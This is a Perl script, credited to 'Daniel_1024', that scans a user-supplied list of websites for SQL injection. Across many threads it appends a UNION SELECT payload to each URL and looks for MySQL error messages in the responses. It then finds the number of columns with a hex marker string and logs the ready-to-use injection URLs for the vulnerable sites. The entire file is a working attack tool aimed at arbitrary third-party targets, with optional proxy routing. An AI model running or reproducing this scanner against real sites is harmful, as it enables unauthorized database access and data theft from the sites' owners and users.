#!/usr/bin/perl -w
##########################################
##########Coded by Daniel_1024 #################
##########################################
use warnings;
use threads;
use threads::shared;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
system(cls);
print "Enter a file with targets:";
$file = <STDIN>;
print "Enter output file:";
$vulnfile=<STDIN>;
print "Enter number of threads:";
$tn=<STDIN>;
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);

my $num = 0;
my @trl = undef;
my $null   = "09+and+1=" ;
my $code   = "0+union+select+" ;
my $add = '+' ; 
my $com ='--';

print "Scan started\n";

for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);}
for(@trl)   { $_->join; }

sub test
{
	while(@sites){
		 { lock(@sites);}
         my $site = shift(@sites);
		 my $i = 0;
		 my $col = '';
		 my $specialword = '';
		 my $injection = $site.$null.$code."0",$com ;
		 my $useragent = LWP::UserAgent->new();
		 $useragent->proxy("http", "http://$proxy/") if defined($proxy);
		 my $response  = $useragent->get($injection);
		 my $result   = $response->content;
		 if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
		 {
			 for ($i = 0 ; $i < 35 ; $i ++)
			 {
				 $col.=','.$i;
				 $specialword.=','."0x617a38387069783030713938";
				 if ($i == 0)
				 {
					 $specialword = '' ; 
					 $col = '' ;
				 }
				 $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
				 $ua = LWP::UserAgent->new();
				 $ua->proxy("http", "http://$proxy/") if defined($proxy);
				 $rq = $ua->get($sql);
				 $response = $rq->content;
				 if($response =~ /az88pix00q98/)
				 {
					 $i ++;			 
					 print "\n[!] The Website $site Is Vulnerable\n" ;
					 print "[!] It Have $i Columns\n" ;
					 $sql=$site.$null.$code."0".$col.$com ;
					 print "=> ".$sql ."\n";	
					 open(vuln_file,">>$vulnfile");
					 print vuln_file "$sql\n";
					 close(vuln_file);	 
				 }	
			 }
		 }
		 else
		 {
			 print "[!] The WebSite $site Is Not SQL Vulnerable !\n";
		 }
	}
		print "Scan finished";
		print "[+] Saved to $vulnfile";
	    sleep 5;
}